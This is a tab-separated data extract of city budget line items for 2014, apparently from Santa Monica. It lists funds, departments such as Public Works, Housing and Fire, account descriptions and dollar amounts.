11918	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	408310.0	CALEMA HAZARD MIT PLANNIN GRT	610.0	Intergovernmental	2014	0.0	0	0	0	-18750	0	0.0	0	0	0	0	0.0	-18750.0
11919	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		DCAP	804.0	Salaries and Wages	2014	264.0	0	0	0	0	0	0.0	0	0	0	0	0.0	264.0
11920	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1262.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1262.0
11921	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUST SUPPLIES CITY TV	808.0	 Supplies and Expenses	2014	5160.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5160.0
11922	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUST SUPPLIES-CITY YARDS	808.0	 Supplies and Expenses	2014	5700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5700.0
11923	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	3600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3600.0
11924	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3500.0
11925	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	2760.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2760.0
11926	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	140700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	140700.0
11927	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUSTODIAL SUPP-TRIMANA	808.0	 Supplies and Expenses	2014	3800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3800.0
11928	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533223.0	BLDG/STR MAINT-ACCESS CENTER	808.0	 Supplies and Expenses	2014	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
11929	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566650.0	MALL MAINTENANCE	808.0	 Supplies and Expenses	2014	59000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	59000.0
11930	B1	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-4325.0	0	0	0	0	0	0.0	0	0	4325	0	0.0	0.0
11931	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	391806.0	0	0	0	0	33072	-1020.0	0	0	0	0	0.0	423858.0
11932	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	6914.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6914.0
11933	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2014	4551.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4551.0
11934	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EAP	804.0	Salaries and Wages	2014	722.0	0	0	0	0	0	0.0	0	0	0	0	0.0	722.0
11935	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1438.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1438.0
11936	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	38363.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38363.0
11937	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DCAP	804.0	Salaries and Wages	2015	568.0	0	0	0	0	0	0.0	0	0	0	0	0.0	568.0
11938	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	0.0	0	0	0	0	0	8.0	0	0	0	0	0.0	8.0
11939	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	631.0	0	0	0	0	0	0.0	0	0	0	0	0.0	631.0
11940	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571130.0	S+C HAP SUO5	816.0	 Supplies and Expenses	2014	309861.0	0	0	0	0	0	0.0	0	0	0	0	0.0	309861.0
11941	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571150.0	S+C HAP NEW	816.0	 Supplies and Expenses	2014	290481.0	0	0	0	0	0	0.0	0	0	0	0	0.0	290481.0
11942	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 HAP VOUCHERS	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-12023259	0	0	0	0.0	-12023259.0
11943	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-9172.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-9172.0
11944	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-42561.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-42561.0
11945	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-10503.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10503.0
11946	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-18407.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-18407.0
11947	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-38925.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-38925.0
11948	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2014	-37326.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-37326.0
11949	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-7129.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7129.0
11950	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407611.0	CITY WI-FI ADVERTISING	612.0	Charges for Service	2014	-5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5000.0
11951	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	2742.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2742.0
11952	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	579260.0	INTERNET/WWW SERVICES	804.0	 Supplies and Expenses	2014	31000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31000.0
11953	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401780.0	PICNIC AREA PERMITS	612.0	Charges for Service	2014	-10667.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10667.0
11954	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	279715.0	0	0	0	0	4131	0.0	0	0	0	0	0.0	283846.0
11955	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	5493.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5493.0
11956	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
11957	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-5875.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5875.0
11958	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	588030.0	COMPUTER EQUIPMENT	804.0	 Supplies and Expenses	2014	75000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	75000.0
11959	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-3RD ST & MISC	800.0	 Supplies and Expenses	2014	29050.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29050.0
11960	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-NATURAL GAS-CITY HAL	808.0	 Supplies and Expenses	2014	2100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2100.0
11961	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522860.0	FUEL MANAGEMENT SYSTEMS	806.0	 Supplies and Expenses	2014	2431.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2431.0
11962	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	26031.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26031.0
11963	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	800000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	800000.0
11964	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	17760.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17760.0
11965	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	283843.0	0	0	0	0	0	0.0	0	0	0	0	0.0	283843.0
11966	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2014	19963.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19963.0
11967	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	2900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2900.0
11968	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522125.0	UTIL - NATURAL GAS - PSF	808.0	 Supplies and Expenses	2014	20900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20900.0
11969	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533216.0	BLDG/CUSTODIAL SUPPLIES - LIB	808.0	 Supplies and Expenses	2014	67120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	67120.0
11970	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	35960.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35960.0
11971	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555920.0	SANTA MONICA SWIM CENTER	808.0	 Supplies and Expenses	2014	-30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-30000.0
11972	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533221.0	BLDG/STR MAINT-COM FAC	808.0	 Supplies and Expenses	2014	93000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	93000.0
11973	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
11974	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522150.0	STORMWATER MANAGEMENT	808.0	 Supplies and Expenses	2014	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
11975	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544220.0	GRAFFITI PROGRAM MATERIALS	808.0	 Supplies and Expenses	2014	133100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	133100.0
11976	B1	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-1862.0	0	0	0	0	0	0.0	0	0	1862	0	0.0	0.0
11977	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-6718.0	0	0	0	0	0	0.0	0	0	6718	0	0.0	0.0
11978	B1	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	808.0	Salaries and Wages	2014	-1915.0	0	0	0	0	0	0.0	0	0	1915	0	0.0	0.0
11979	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	6500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6500.0
11980	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2014	308.0	0	0	0	0	0	0.0	0	0	0	0	0.0	308.0
11981	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	3658.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3658.0
11982	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577240.0	SERVICE AGREEMENTS		 Supplies and Expenses	2014	259005.0	0	0	0	0	0	0.0	0	0	0	0	0.0	259005.0
11983	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	3302.0	0	0	0	0	42	0.0	0	0	0	0	0.0	3344.0
11984	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	5125.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5125.0
11985	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
11986	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	19341.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19341.0
11987	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2014	-88203.0	0	0	0	0	-17906	0.0	0	0	0	0	0.0	-106109.0
11988	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563129.0	SENIOR CENTER OPERATIONS		 Supplies and Expenses	2014	151500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	151500.0
11989	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	576521.0	9-1-1 VOICE LOGGERS	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	85480.17	85480.17
11990	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567230.0	PFA 2011B (PSF)	910.0	 Supplies and Expenses	2014	1061450.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1061450.0
11991	B1	IS	1	General Fund	310	FIRE	315	TRAINING	555215.0	OUTSIDE TRAINER PAYMENT	806.0	 Supplies and Expenses	2014	20910.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20910.0
11992	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2014	50.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50.0
11993	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	8261.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8261.0
11994	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	190342.0	0	0	0	0	0	0.0	0	0	0	0	0.0	190342.0
11995	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	47069.0	0	0	0	0	0	0.0	0	0	0	0	0.0	47069.0
11996	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
11997	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	65000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	65000.0
11998	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	32650.0	0	0	0	0	0	0.0	0	0	0	0	0.0	32650.0
11999	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533215.0	BLDG/CUSTODIAL SUPPLIES-PSF	808.0	 Supplies and Expenses	2014	82900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	82900.0
12000	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	41700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41700.0
12001	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409063.0	SMSE-SUMMER	612.0	Charges for Service	2014	-43669.0	0	0	0	0	0	0.0	43669	0	0	0	0.0	0.0
12002	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2014	2823.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2823.0
12003	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	10314.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10314.0
12004	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2014	4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4000.0
12005	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511748.0	DENTAL	804.0	Salaries and Wages	2014	11983.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11983.0
12006	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		UNEMPLOYMENT	804.0	Salaries and Wages	2014	5299.0	0	0	0	0	64	0.0	0	0	0	0	0.0	5363.0
12007	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		DCAP	804.0	Salaries and Wages	2014	852.0	0	0	0	0	0	0.0	0	0	0	0	0.0	852.0
12008	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522180.0	BANK FEES		 Supplies and Expenses	2014	1350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1350.0
12009	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	2101.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2101.0
12010	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	552010.0	CUSTODIAL SERVICES		 Supplies and Expenses	2014	3200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3200.0
12011	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	850.0
12012	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400883.0	SPC HAP SU05	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-309861	0	0	0	0.0	-309861.0
12013	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403721.0	SERIAL INEBRIATE GRANT LEASING	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-335000	0	0	0	0.0	-335000.0
12014	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400883.0	SPC HAP SU05	610.0	Intergovernmental	2014	-309861.0	0	0	0	0	0	0.0	309861	0	0	0	0.0	0.0
12015	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400885.0	SPC HAP NEW	610.0	Intergovernmental	2014	-290481.0	0	0	0	0	0	0.0	290481	0	0	0	0.0	0.0
12016	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400922.0	SPC ADMIN TRA	610.0	Intergovernmental	2014	-108825.0	0	0	0	0	0	0.0	108825	0	0	0	0.0	0.0
12017	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	4067.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4067.0
12018	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	22417.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22417.0
12019	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	6714.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6714.0
12020	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2014	-29500.0	0	0	0	0	0	0.0	29500	0	0	0	0.0	0.0
12021	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		EAP	816.0	Salaries and Wages	2014	1348.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1348.0
12022	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522620.0	RENT	816.0	 Supplies and Expenses	2014	166873.0	0	0	0	0	0	0.0	0	0	0	0	0.0	166873.0
12023	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FSS ADMIN	610.0	Intergovernmental	2014	-65286.0	0	0	0	0	0	0.0	65286	0	0	0	0.0	0.0
12024	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 PORT IN ADMIN	610.0	Intergovernmental	2014	-23000.0	0	0	0	0	0	0.0	23000	0	0	0	0.0	0.0
12025	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FRAUD RECOVERY	610.0	Intergovernmental	2014	-45000.0	0	0	0	0	0	0.0	45000	0	0	0	0.0	0.0
12026	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400394.0	HAP REVENUE - PORTS	610.0	Intergovernmental	2014	-300000.0	0	0	0	0	0	0.0	300000	0	0	0	0.0	0.0
12027	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2014	10100.0	0	0	0	0	0	21657.0	0	0	0	0	0.0	31757.0
12028	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		UNEMPLOYMENT	816.0	Salaries and Wages	2014	5123.0	0	0	0	0	78	108.0	0	0	0	0	0.0	5309.0
12029	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	2623.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2623.0
12030	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522540.0	ADVERTISING	816.0	 Supplies and Expenses	2014	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
12031	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	316.0	0	0	0	0	0	0.0	0	0	0	0	0.0	316.0
12032	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511749.0	VISION	804.0	Salaries and Wages	2014	955.0	0	0	0	0	0	0.0	0	0	0	0	0.0	955.0
12033	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DCAP	804.0	Salaries and Wages	2014	480.0	0	0	0	0	0	0.0	0	0	0	0	0.0	480.0
12034	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	5916.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5916.0
12035	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	39779.0	0	0	0	0	0	0.0	0	0	0	0	0.0	39779.0
12036	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-1489.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1489.0
12037	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	603.0	0	0	0	286	45	0.0	0	0	0	0	0.0	934.0
12038	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
12039	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	561504.0	SERIAL INEBRIATE PROG-HAP	816.0	 Supplies and Expenses	2014	335000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	335000.0
12040	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-148095.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-148095.0
